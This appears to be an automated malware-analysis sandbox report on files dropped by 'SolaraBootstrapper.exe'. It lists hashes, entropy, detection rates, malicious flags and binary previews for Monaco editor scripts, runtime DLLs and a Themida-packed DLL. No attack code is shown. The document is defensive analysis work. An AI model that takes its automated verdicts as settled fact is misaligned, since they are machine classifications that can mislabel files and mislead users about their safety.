Size (bytes):	102259
Entropy (8bit):	5.245411424016145
Encrypted:	false
SSDEEP:	1536:rIAGGhzNFVAg0Edqq6L05i4Xw9dA+IKFt:cRyzNFV5jXOA+IKT
MD5:	61E9B732BEDC39B547804AC7E8897AAB
SHA1:	187CBA5FBD9C31257119DDE24A28573B4973EF5C
SHA-256:	7C6D37BB341CF59335F6A3E5E336D0DE863124FA40A8F9B5F29D8DA07891B649
SHA-512:	200E32143BBCDA809B0003298AA561EBB27509D309168DE81AD8529476AB64CAEE0502B9FE0B513469C21B82EDB421B642183A250D2BA4D65C74BA4C1CBE39DC
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-json version: 2.1.1(0e6ea95f4f4e093db9201c502e8d401391803233). * Released under the MIT license. * https://github.com/Microsoft/monaco-json/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.!function(e){if("object"==typeof module&&"object"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else"function"==typeof define&&define.amd&&define("vscode-languageserver-types/main",["require","exports"],e)}(function(e,t){"use strict";var a,r,n,o,i,s,u,c,f,l,p,h,d;Object.defineProperty(t,"__esModule",{value:!0}),(r=a=t.Position\|\|(t.Position={})).create=function(e,t){return{line:e,character:t}},r.is=function(e){var t=e;return N.defined(t)&&N.number(t.line)&&N.number(t.character)},(o=n=t.Range\|\|(t.Range={})).create=function(e,t,r,n){if(N.number(e)&&N.number(t)&&N.nu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\typescript\lib\typescriptservices.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65127)
Category:	dropped
Size (bytes):	1683029
Entropy (8bit):	5.332692808632381
Encrypted:	false
SSDEEP:	49152:G6qR6wZ7g2oZNDR3Oy4mtYsT2ACKRRrcLHd5:W61/4mTy
MD5:	0A1A293455F5451BA11E07386EA62D4F
SHA1:	D6A43C68812A3DCDDC2973DB3F2DD8A6B0E45F1E
SHA-256:	90E98063C644749A948EDD5A7801F7B00C554E3189FE7C2811926B01EAF1B41F
SHA-512:	1674E2AD75C53F99475743618EC59D90CE8EB262131C15DAEAD963ECB847CB70278A6D4608C66710C3CD5E92E03B5552A05401B6B008184DBF892683B27CA34A
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-typescript version: 3.1.0(64641eebb2d0dca62499cc1b822970ea72efbfce). * Released under the MIT license. * https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.var __assign=this&&this.__assign\|\|Object.assign\|\|function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var a in t=arguments[r])Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a]);return e},__extends=this&&this.__extends\|\|function(){var n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var r in t)t.hasOwnProperty(r)&&(e[r]=t[r])};return function(e,t){function r(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}}();!function(e){var t,r,n,a,i,o,s,c,u;(t=e.Comparison\|\|(e.Comparison

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\typescript\tsmode.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (19975)
Category:	dropped
Size (bytes):	20384
Entropy (8bit):	5.167653869684314
Encrypted:	false
SSDEEP:	384:hgFzm27hrrEZAmdHpjHenNvaOm/6xS1oTEXx3KjFRMqxRh2l3eBVq1A8WKm3d5vp:2FyHhzHenNvaF6xCoSx3KjFqqxL21eBp
MD5:	8C1A82479C380D2B2C6B096E12EE9632
SHA1:	78E429DD4A9279267679423DDB0B6D06C11172AC
SHA-256:	70957C5EDE2834ADF1B5BC264E119F82B4E8E6C169FC8FF140D637D1C5287BD9
SHA-512:	409C8724ECFA045A7563B5C142EF0A107BFFE126140BCBE5202DAD59B9BA5EC0DB91C74C77D5A60BE92110B9D0C942FAC61A782EE30A4288774F547F303E1C4A
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-typescript version: 3.1.0(64641eebb2d0dca62499cc1b822970ea72efbfce). * Released under the MIT license. * https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/typescript/tokenization",["require","exports","./lib/typescriptServices"],function(e,t,f){"use strict";var h,n;Object.defineProperty(t,"__esModule",{value:!0}),(n=h=t.Language\|\|(t.Language={}))[n.TypeScript=0]="TypeScript",n[n.EcmaScript5=1]="EcmaScript5",t.createTokenizationSupport=function(e){var n=f.createClassifier(),r=e===h.TypeScript?i:s,o=e===h.TypeScript?a:c;return{getInitialState:function(){return new v(e,f.EndOfLineState.None,!1)},tokenize:function(e,t){return function(e,t,n,r,o){var i={tokens:[],endState:new v(r.language,f.EndOfLineState.None,!1)};functi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\typescript\tsworker.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65127)
Category:	dropped
Size (bytes):	1776808
Entropy (8bit):	4.928903604752642
Encrypted:	false
SSDEEP:	24576:pQIJc020hIvUjQQ0s2oI4Q0s2oI4QIJc020hIvUjQQ0s2oI4Q0s2oIq:Qo3MfgfHo3Mfgfq
MD5:	1E0047691C3637AD1E0DA62023BA0E0D
SHA1:	64902C923C2194E007BC727F7EA4F30B3A796DAB
SHA-256:	2CCC6B6B1B5D884FE8DF3E7B2F2BACCA0C4529B68BBFE3C547FCC74F204CC5D1
SHA-512:	C1BEF7BFD60ACFCFB206B9631F8A730B787E94101D519D157D346D8377104D1302C0E9853BA2DB944D63F03B181511950B9EA25DD21E41F40B4AEBA4BC44C0C8
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-typescript version: 3.1.0(64641eebb2d0dca62499cc1b822970ea72efbfce). * Released under the MIT license. * https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/typescript/lib/lib-ts",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.contents='/! ***************************************************************************\nCopyright (c) Microsoft Corporation. All rights reserved. \nLicensed under the Apache License, Version 2.0 (the "License"); you may not use\nthis file except in compliance with the License. You may obtain a copy of the\nLicense at http://www.apache.org/licenses/LICENSE-2.0 \n \nTHIS CODE IS PROVIDED ON AN AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\loader.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1024)
Category:	dropped
Size (bytes):	28566
Entropy (8bit):	5.224786396048958
Encrypted:	false
SSDEEP:	768:3J6C/c2x0cAu57XQxJRDRi+R/TvrCv3zM2GRl0VEj:Z6grH7qTXRvmDI
MD5:	8A3086F6C6298F986BDA09080DD003B1
SHA1:	8C7D41C586BFA015FB5CC50A2FDC547711B57C3C
SHA-256:	0512D9ED3E5BB3DAEF94AA5C16A6C3E2EE26FFED9DE00D1434FFE46A027B16B9
SHA-512:	9E586742F4E19938132E41145DEEC584A7B8C7E111B3C6E9254F8D11DB632EBE4D66898458ED7BCFC0614D06E20EB33D5A6A8EB8B32D91110557255CF1DBF017
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/."use strict";var _amdLoaderGlobal=this;!function(e){e.global=_amdLoaderGlobal;var t=function(){function t(){this._detected=!1,this._isWindows=!1,this._isNode=!1,this._isElectronRenderer=!1,this._isWebWorker=!1}return Object.defineProperty(t.prototype,"isWindows",{get:function(){return this._detect(),this._isWindows},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"isNode",{get:function(){return this._detect(),this._isNode},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"isElectronRenderer",{get:function(){return this._detect(),this._isElectronRenderer},enumerable:!0,configurable:!0}),Object.defineProperty(t.pr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	711952
Entropy (8bit):	5.967185619483575
Encrypted:	false
SSDEEP:	12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
MD5:	195FFB7167DB3219B217C4FD439EEDD6
SHA1:	1E76E6099570EDE620B76ED47CF8D03A936D49F8
SHA-256:	E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
SHA-512:	56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(......(....^.(...........%...}....:.(......}....:.(......}......(....:.(......}......{......(......(....:.(......}......{.....(.............}.....(......{.....X.....}......0...........-.~.....~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..\|....(......._..{........+,..{\|....3...{{......(....,...{{.....{}.......-.....0...........-.r...ps....z.o......-.~.....~....

C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	137144
Entropy (8bit):	6.122084762995293
Encrypted:	false
SSDEEP:	3072:e5i6Uab3sFhPk6vEmG1PU6dLXm2ng3esQDqEt2JljdTu:e5P2e6vERtUyTmHEtmI
MD5:	A0BD0D1A66E7C7F1D97AEDECDAFB933F
SHA1:	DD109AC34BEB8289030E4EC0A026297B793F64A3
SHA-256:	79D7E45F8631E8D2541D01BFB5A49A3A090BE72B3D465389A2D684680FEE2E36
SHA-512:	2A50AE5C7234A44B29F82EBC2E3CFED37BF69294EB00B2DC8905C61259975B2F3A059C67AEAB862F002752454D195F7191D9B82B056F6EF22D6E1B0BB3673D50
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...&.x`.........." ................@9....................................................`A........................................w.......i...(....`...................#...p......T...8.......................(....1..8........... .......h........................text............................... ..`.rdata.......0......................@..@.data...............................@....pdata..............................@..@.00cfg..(.... ......................@..@.gehcont4....0......................@..@.tls.........@......................@..._RDATA.......P......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5464064
Entropy (8bit):	6.520984736197837
Encrypted:	false
SSDEEP:	98304:Com1p/B6MvSmaRI+VcDNkq4pmvhAHDfyyrhl:W1HZNkq4p
MD5:	AEAD90AB96E2853F59BE27C4EC1E4853
SHA1:	43CDEDDE26488D3209E17EFFF9A51E1F944EB35F
SHA-256:	46CFBE804B29C500EBC0B39372E64C4C8B4F7A8E9B220B5F26A9ADF42FCB2AED
SHA-512:	F5044F2EE63906287460B9ADABFCF3C93C60B51C86549E33474C4D7F81C4F86CD03CD611DF94DE31804C53006977874B8DEB67C4BF9EA1C2B70C459B3A44B38D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,zh..........." ..0..VS..........uS.. ....S...... ........................S...........`.................................WuS.O.....S.T.....................S......tS.T............................................ ............... ..H............text....US.. ...VS................. ..`.rsrc...T.....S......XS.............@..@.reloc........S......^S.............@..B.................uS.....H...........\|...........88..`<H...........................................(>...^.(>..........%...}....:.(>.....}....:.(>.....}....^.(>..........%...}....:.(>.....}....:.(>.....}....v../.(>....,...f}......}...."..}......s......s....B../.(>....s....F../.(>....fs....b.{...../..{....f.{.....{..........0...........{......(....,....XX..z.u....,..{.....y....{.......>.{.....{........{......(.......0...........(....,..(.....(.......(?......0..........r...p.(.

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24616
Entropy (8bit):	6.846605128431621
Encrypted:	false
SSDEEP:	384:WruyxWfhWMLm0GfeQ1MgKlx+YY30Jl0huSwp+M:PlRhg8Ihep+M
MD5:	0485C463CD8D2AE1CBD42DF6F0591246
SHA1:	EA634140905078E8F687A031AE919CFF23C27E6F
SHA-256:	983F4D4C7B7330E7F5F091080C1E81905575EBCCD97E11DFF8A064979EC8D9B8
SHA-512:	DDF947A1B86C3826859570A3E1D59E4EC4564CFCF25C84841383A4B5F5AD6C2FE618078416AED201FB744D5FBD6C39DAB7C1E964DD5E148DA018A825FCC0044A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d......n.........." .........................................................@.......M....`..........................................................0..................(D..............T............................................................................rdata..............................@..@.rsrc........0......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22568
Entropy (8bit):	6.982006854843047
Encrypted:	false
SSDEEP:	384:W3q6nWm5CpWfhWNLm0Gf3Jl0huSwJ+Ruh91MgKlx+YV:l6nWm5Ce4RVheJUUwg8V
MD5:	1193F810519FBC07BEB3FFBAD3247FC4
SHA1:	DB099628A19B2D34E89028C2E16BC89DF28ED78F
SHA-256:	AB2158FE6B354FB429F57F374CA25105B44E97EDCBDC1B752650D895DADD6FD1
SHA-512:	3222A10C3BE5098ACA0211015EFE75CFBCD408FD28315ACEDD016D8F77513F81E207536B072001525965635DA39C4AAE8EF9F6AD367F5D695DE67B1614179353
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d.....`W.........." .........................................................0.......x....`.......................................................... ..................(D..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21544
Entropy (8bit):	6.9468057879019485
Encrypted:	false
SSDEEP:	384:WTY3eRWfhWILm0Gf/fReAplx4bZak3Jb1MgKlx+YgW:4GtRCaog8gW
MD5:	A22F9A4CBD701209842B204895FEDF37
SHA1:	72FA50160BAF1F2EA2ADCFF58F3F90A77A59D949
SHA-256:	2EE3D52640D84AC4F7F7DDFE748F51BAA6FD0D492286C781251222420E85CA97
SHA-512:	903755D4FA6651669295A10E66BE8EA223CD8D5AD60EBE06188D8B779FEF7E964D0AA26DC5479F14AAB655562D3C1EF76B86790FB97F991EAF52DA0F70E40529
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d....n.p.........." .........................................................0............`.......................................................... ..................(D..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21032
Entropy (8bit):	7.013076607206084
Encrypted:	false
SSDEEP:	384:WyWfhWGLm0Gfdx46gl9iFoQ0E642zlxCHj0:ETRg1Goj0
MD5:	BA17B278FFF2C18E34E47562DDDE8166
SHA1:	BED762D11B98737FCF1D1713D77345EC4780A8C2
SHA-256:	C36F5C0AC5D91A8417866DD4D8C670C2192BA83364693E7438282FB8678C3D1E
SHA-512:	72516B81606CCF836549C053325368E93264FDEBC7092E42E3DF849A16CCEFA81B7156AE5609E227FAA7C9C1BF9D68B2AC349791A839F4575728F350DD048F27
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d................." .........................................................0............`.............................................e............ ..................(D..............T............................................................................rdata..u...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29528
Entropy (8bit):	6.6427838968097115
Encrypted:	false
SSDEEP:	384:WSQUbM4Oe59Ckb1hgmLVWfhWFLm0GfBOeAplx4bZe1TTTXZl1OS:vRMq59Bb1jycR5aCUS
MD5:	C4CAC2D609BB5E0DA9017EBB535634CE
SHA1:	51A264CE4545A2F0D9F2908771E01E001B4E763E
SHA-256:	7C3336C3A50BF3B4C5492C0D085519C040878243E9F7D3EA9F6A2E35C8F1F374
SHA-512:	3B55BDBC5132D05AB53852605AFE6ED49F4B3DECDDE8B11F19A621A78A37D98C7AEAAA8C10BF4565B9B50162816305FA5192EE31950A96DC08AE46BFC6AF4FFE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d...Q............." .........,...............................................P............`..............................................%...........@...............0..XC..............T............................................................................rdata...&.......(..................@..@.rsrc........@.......,..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12064
Entropy (8bit):	6.023451177450861
Encrypted:	false
SSDEEP:	192:+aajPrpJhhf4AN5/KiZWshWPBBbJz8Gjdv6suAH/7gq:+lbr7vWshWpB7dysuzq
MD5:	894E538FBD29D9AF2DAC82ABBB798AA8
SHA1:	3C28B3063CE80B3FD61E0AFC6934E3180F5BEF12
SHA-256:	B12679D33126D2DCB0CD3625FCCF5C3AFC40D95C1BE36DC55F7471DE94929D23
SHA-512:	32AD7F4BA21C7EC47B374ED776CC1662DE23A955A00AAB509D9B82A9F4AA4B46580933C3382A1CFFA526D93AF686013104CA1D8D50AB3BAB02A291E64B88A884
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...J.E..........." .........................................................@............`.........................................0...4............0.................. ...............T............................................................................rdata..d...........................@..@.rsrc........0......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26664
Entropy (8bit):	6.801712192449325
Encrypted:	false
SSDEEP:	384:WnZpFVhXWfhW2Lm0Gfi3RKllGBwLeb+Jl0huSwpSs:a+rRlkLelhepSs
MD5:	5DF2410C0AFD30C9A11DE50DE4798089
SHA1:	4112C5493009A1D01090CCAE810500C765DC6D54
SHA-256:	E6A1EF1F7C1957C50A3D9C1D70C0F7B0D8BADC7F279CD056EB179DC256BFEFDA
SHA-512:	8ECB79078D05D5B2A432F511953985B3253D5D43D87709A5795709EE8DBCA63C5F1166ED94D8984C13F2EA06ADFA7D6B82C6735C23C6E64F2F37A257066864E6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d...U.x..........." ......... ...............................................@......H.....`.............................................a............0...............$..(D..............T............................................................................rdata..a...........................@..@.rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26664
Entropy (8bit):	6.800237451475615
Encrypted:	false
SSDEEP:	768:96S5yguNvZ5VQgx3SbwA71IkFD7RwL9il:9l5yguNvZ5VQgx3SbwA71IEVwL9il
MD5:	AACADE02D7AAF6B5EFF26A0E3A11C42D
SHA1:	93B8077B535B38FDB0B7C020D24BA280ADBE80C3
SHA-256:	E71D517E6B7039437E3FC449D8AD12EEECA0D5C8ED1C500555344FD90DDC3207
SHA-512:	E02FCBCB70100F67E65903D8B1A7E6314CABFB0B14797BD6E1C92B7BCB3994A54133E35D16DA0A29576145B2783221330591526F856B79A25C0575FC923985A6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d...<.L..........." ......... ...............................................@.......N....`..........................................................0...............$..(D..............T............................................................................rdata..............................@..@.rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\bin\path.txt

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.3232314287976203
Encrypted:	false
SSDEEP:	3:oFkRE5:oaa
MD5:	C6ED47607ABDB89F58D301B22A2EC8F5
SHA1:	38FB51ABD6F71E6A6F1C2FD182543A2767E0EEF5
SHA-256:	52168291101665CE08BF83AD4301E355384565EF9CBA33E9D8BC974E8BB17A17
SHA-512:	5F56B11265F5C39145A86EBA1E875337725CB7F9670623159FA1F480666242F5F5B60BECEAAAEB87213E63F68059C1E3C5C2570CF1B1E0D8481B16C034968757
Malicious:	false
Preview:	C:\ProgramData\

C:\Users\user\AppData\Local\Temp\Solara.Dir\bin\version.txt

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:1W:c
MD5:	CC66EF3D68AB434D32F6635D0E0D846A
SHA1:	44763DB1D213DE8753F546E704E5B40F38999CD2
SHA-256:	232CE352D4B59DC102167A162462A8EA110BC7CE9B8B7BDE5F13FD00992A970C
SHA-512:	39C1933219CBE892C83DBAF2D5DB4233F805C06EB887A4B4F7EBB12501085FBCD5AFBF5AD2E052D003202AD198051EB82C7FA7506210C57352A5F032F67399CC
Malicious:	false
Preview:	2.43

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4418560
Entropy (8bit):	7.972283390294948
Encrypted:	false
SSDEEP:	98304:74+q1i+vQLutexXRZ4AhVxTdpmsJflHYz2C7p8BRDKxxaYIm:uvQLutexRZ4AhDJRJpo2vDKxjn
MD5:	F71B342220B8F8935ABE5EA0B1E5F30C
SHA1:	A70D41DBC456D548E790AF717575B1F83E3F38B5
SHA-256:	DEC8C51C89452B183201E58E4CFCEFFB0924C4C1F7729841A739086711FF021F
SHA-512:	D6BA2D0EECB2BD70EA727C7BD86CCE75FE535E4A7688EB6FC6334E30F568D24D0B6661B8873DDB88C1BB75DBF772FAE215B101545FF85E6461A2B05B85DFE05F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p..A4.h.4.h.4.h...k. .h...m...h...l...h.4.h.5.h..ml.;.h..mk.&.h..mm.b.h...i.8.h.P.i.7.h.4.i...h...m.;.h..na...h..nh.5.h..n..5.h..nj.5.h.Rich4.h.........PE..d.....}f.........." ...'.V...\|......X@w.............................................iD... .......................................... .......@.......P.......mv.................................................................................................... .T.......................... ..` H~...p...n..................@..@ $I...........R..............@... ....@...\...Z..............@..@ ............................@..@ ............................@..@ L...........................@..B.edata....... ......................@..@.idata.......@......................@....rsrc........P......................@..@.themida..`..`......................`....boot.....9..@w.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.381646414313843
Encrypted:	false
SSDEEP:	1536:gea4Ta4b9I3BbbHVlnOXrPBdfeISRAOl801AbcsqD95wSxdRf3:gea4Ta4JMbb1lnOXrPXe7Yhq5Zf
MD5:	D84E7F79F4F0D7074802D2D6E6F3579E
SHA1:	494937256229EF022FF05855C3D410AC3E7DF721
SHA-256:	DCFC2B4FA3185DF415855EC54395D9C36612F68100D046D8C69659DA01F7D227
SHA-512:	ED7B0AC098C8184B611B83158EAA86619001E74DBA079D398B34AC694CE404BA133C2BAF43051840132D6A3A089A375550072543B9FAB2549D57320D13502260
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...q]............"...0..`............... .....@..... ....................................`...@......@............... ...............................................................~..8............................................................ ..H............text...L_... ...`.................. ..`.rsrc................b..............@..@........................................H........5...3...........h...............................................0..5........{....,...}.....r...p.s....(....r!..p.s.......(....Js....%o....o....&..(......(.....0..A........(....(..........(.....(.....(.....(.....(............s ...(!.......0..-.......rY..p("......+....%o#...o$.....X....i2...&.............))..!....rc..pr...p.. (%....3..(......o&.......0..+.........('...}.......}.......}......\|......(...+..0..........~....("......,.........0..9.......s).....~....o*..

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\1f457530-997c-49af-ba4d-4888e131fb38.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3251
Entropy (8bit):	5.265831162758453
Encrypted:	false
SSDEEP:	96:PNkGS3f6ZCjDu58rh/cIyURoDotoPhcBZPSZiUTpI4u:PNBSCkvVoDU8wZpM4
MD5:	374E4A4D17AD487D22A00880A7398E45
SHA1:	C131A794C76740D04B13D939BA1648A1DDC368C9
SHA-256:	F410FCF7925643E67ED7B9B91EB25ACA4AFC929DAB29DB431E6B854327A80611
SHA-512:	04DC05CE8FC43206224B4A81678965203A46F157295A4BA708C585FA27D9BCE1BC83E2021FC26C33C4F39DE6EDED0F86AB310A5C99F8FCFAA2E00CFC71D5FFD9
Malicious:	true
